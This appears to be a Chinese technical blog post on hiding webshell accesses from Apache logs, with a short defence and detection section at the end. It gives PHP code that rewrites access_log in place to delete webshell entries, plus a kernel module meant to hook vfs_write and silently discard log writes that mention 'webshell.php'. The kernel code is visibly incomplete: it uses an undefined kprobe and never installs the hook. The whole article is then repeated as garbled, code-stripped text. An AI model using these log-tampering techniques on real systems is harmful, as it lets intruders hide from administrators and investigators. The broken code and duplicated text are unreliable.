分别从用户层和内核层绕过webshell访问日志
字数 1267 2025-08-10 12:18:01

Webshell访问日志绕过技术深度解析

环境搭建与基础配置

测试环境准备

  • 操作系统:CentOS 7.9.2009 (Core)
  • 内核版本:3.10.0-1160.el7.x86_64
  • Web服务器:Apache HTTP Server
  • PHP版本:7.0.33

Apache与PHP安装步骤

  1. 添加必要的软件源:

    yum install epel-release -y
    rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
    yum update
    
  2. 安装依赖库:

    yum install openssl openssl-dev -y
    
  3. 安装Apache和PHP:

    yum install php70w httpd
    
  4. 验证PHP模块加载:
    确保/etc/httpd/conf/httpd.conf中包含:

    LoadModule php7_module modules/libphp7.so
    

日志配置检查

Apache日志配置位于/etc/httpd/conf/httpd.conf中,关键部分:

<IfModule log_config_module>
    LogFormat "%h %l %u %t \"%r\" %>s %b" common
    CustomLog "logs/access_log" common
</IfModule>

用户层日志绕过技术

传统日志清理方法的问题

  1. 使用sed命令删除特定行:

    sed -i '/webshell/d' access_log
    
    • 问题:修改后日志文件不再更新,大小固定
    • 原因:Apache进程持有的文件描述符未更新
  2. 文件句柄分析:

    lsof access_log
    

    输出显示多个httpd进程持有该文件的写描述符

文件句柄覆盖技术

  1. 获取Apache主进程PID:

    ps -auxf | grep httpd
    
  2. 定位日志文件描述符:

    ls -l /proc/<PID>/fd/ | grep access_log
    
  3. 文件句柄覆盖实现步骤:

    • 创建临时文件
    • 将临时文件内容覆盖到原日志文件
    • 保持文件inode不变
  4. PHP实现代码示例:

    $log_path = '/var/log/httpd/access_log';
    $temp_content = file_get_contents($log_path);
    $cleaned_content = preg_replace('/webshell\.php.*?\n/', '', $temp_content);
    
    // 保持inode不变的情况下覆盖内容
    $fd = fopen($log_path, 'r+');
    ftruncate($fd, 0);
    fwrite($fd, $cleaned_content);
    fclose($fd);
    

内核层日志绕过技术

Linux内核文件系统基础

  1. VFS (Virtual File System) 架构
  2. 文件描述符在内核中的表示
  3. inode与dentry结构

关键内核数据结构

  1. struct file:表示打开的文件
  2. struct inode:文件系统对象
  3. struct dentry:目录项缓存

内核函数Hook技术

  1. 常用Hook框架:

    • Kprobes
    • Ftrace
    • eBPF
  2. 关键Hook点:

    • vfs_write():文件写入操作
    • do_sys_open():文件打开操作
    • tty_write():终端写入操作
  3. 过滤条件实现:

    • 检查当前进程名是否为"httpd"
    • 检查文件路径是否包含"access_log"
    • 检查写入内容是否包含"webshell.php"

内核模块实现示例

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/version.h>

static asmlinkage long (*orig_vfs_write)(struct file *file, const char __user *buf, size_t count, loff_t *pos);

static asmlinkage long hook_vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
    char *kernel_buf = kmalloc(count + 1, GFP_KERNEL);
    
    if (kernel_buf) {
        if (copy_from_user(kernel_buf, buf, count)) {
            kfree(kernel_buf);
            return orig_vfs_write(file, buf, count, pos);
        }
        
        kernel_buf[count] = '\0';
        
        // 检查是否为access_log且包含webshell关键字
        if (strstr(file->f_path.dentry->d_name.name, "access_log") &&
            strstr(kernel_buf, "webshell.php")) {
            kfree(kernel_buf);
            return count; // 模拟写入成功但实际上丢弃内容
        }
        
        kfree(kernel_buf);
    }
    
    return orig_vfs_write(file, buf, count, pos);
}

static int __init log_hook_init(void)
{
    // 获取原始vfs_write地址并替换
    orig_vfs_write = (void *)kallsyms_lookup_name("vfs_write");
    
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
    register_kprobe(&kp);
    #else
    // 旧版本内核Hook方式
    #endif
    
    return 0;
}

static void __exit log_hook_exit(void)
{
    // 恢复原始函数
}

module_init(log_hook_init);
module_exit(log_hook_exit);
MODULE_LICENSE("GPL");

防御与检测方案

针对用户层绕过的防御

  1. 日志文件权限控制:

    chattr +a /var/log/httpd/access_log
    
  2. 使用远程日志服务器

  3. 实施日志文件完整性监控

针对内核层绕过的防御

  1. 内核完整性保护:

    grubby --update-kernel=ALL --args="ima_policy=tcb ima_appraise=fix ima_appraise_tcb"
    
  2. 禁用内核模块加载:

    echo 1 > /proc/sys/kernel/modules_disabled
    
  3. 使用SELinux强化策略

检测方法

  1. 用户层检测:

    # 检查文件inode是否变化
    ls -i /var/log/httpd/access_log
    
    # 检查文件描述符
    lsof /var/log/httpd/access_log
    
  2. 内核层检测:

    # 检查内核模块
    lsmod
    
    # 检查系统调用表
    grep sys_call_table /proc/kallsyms
    

总结与扩展

技术对比

技术层面 实现难度 隐蔽性 稳定性 适用范围
用户层 单次生效
内核层 持久生效

扩展研究方向

  1. eBPF实现更高效的日志过滤
  2. 基于虚拟文件系统(VFS)的透明加密日志
  3. 利用Linux审计子系统(auditd)实现二次日志记录

最佳实践建议

  1. 生产环境应结合多种日志保护措施
  2. 定期审计系统内核模块
  3. 实施最小权限原则控制日志访问
  4. 建立日志异常报警机制
Webshell访问日志绕过技术深度解析 环境搭建与基础配置 测试环境准备 操作系统:CentOS 7.9.2009 (Core) 内核版本:3.10.0-1160.el7.x86_ 64 Web服务器:Apache HTTP Server PHP版本:7.0.33 Apache与PHP安装步骤 添加必要的软件源: 安装依赖库: 安装Apache和PHP: 验证PHP模块加载: 确保 /etc/httpd/conf/httpd.conf 中包含: 日志配置检查 Apache日志配置位于 /etc/httpd/conf/httpd.conf 中,关键部分: 用户层日志绕过技术 传统日志清理方法的问题 使用sed命令删除特定行: 问题 :修改后日志文件不再更新,大小固定 原因 :Apache进程持有的文件描述符未更新 文件句柄分析: 输出显示多个httpd进程持有该文件的写描述符 文件句柄覆盖技术 获取Apache主进程PID: 定位日志文件描述符: 文件句柄覆盖实现步骤: 创建临时文件 将临时文件内容覆盖到原日志文件 保持文件inode不变 PHP实现代码示例: 内核层日志绕过技术 Linux内核文件系统基础 VFS (Virtual File System) 架构 文件描述符在内核中的表示 inode与dentry结构 关键内核数据结构 struct file :表示打开的文件 struct inode :文件系统对象 struct dentry :目录项缓存 内核函数Hook技术 常用Hook框架: Kprobes Ftrace eBPF 关键Hook点: vfs_write() :文件写入操作 do_sys_open() :文件打开操作 tty_write() :终端写入操作 过滤条件实现: 检查当前进程名是否为"httpd" 检查文件路径是否包含"access_ log" 检查写入内容是否包含"webshell.php" 内核模块实现示例 防御与检测方案 针对用户层绕过的防御 日志文件权限控制: 使用远程日志服务器 实施日志文件完整性监控 针对内核层绕过的防御 内核完整性保护: 禁用内核模块加载: 使用SELinux强化策略 检测方法 用户层检测: 内核层检测: 总结与扩展 技术对比 | 技术层面 | 实现难度 | 隐蔽性 | 稳定性 | 适用范围 | |---------|---------|--------|--------|---------| | 用户层 | 低 | 中 | 高 | 单次生效 | | 内核层 | 高 | 高 | 中 | 持久生效 | 扩展研究方向 eBPF实现更高效的日志过滤 基于虚拟文件系统(VFS)的透明加密日志 利用Linux审计子系统(auditd)实现二次日志记录 最佳实践建议 生产环境应结合多种日志保护措施 定期审计系统内核模块 实施最小权限原则控制日志访问 建立日志异常报警机制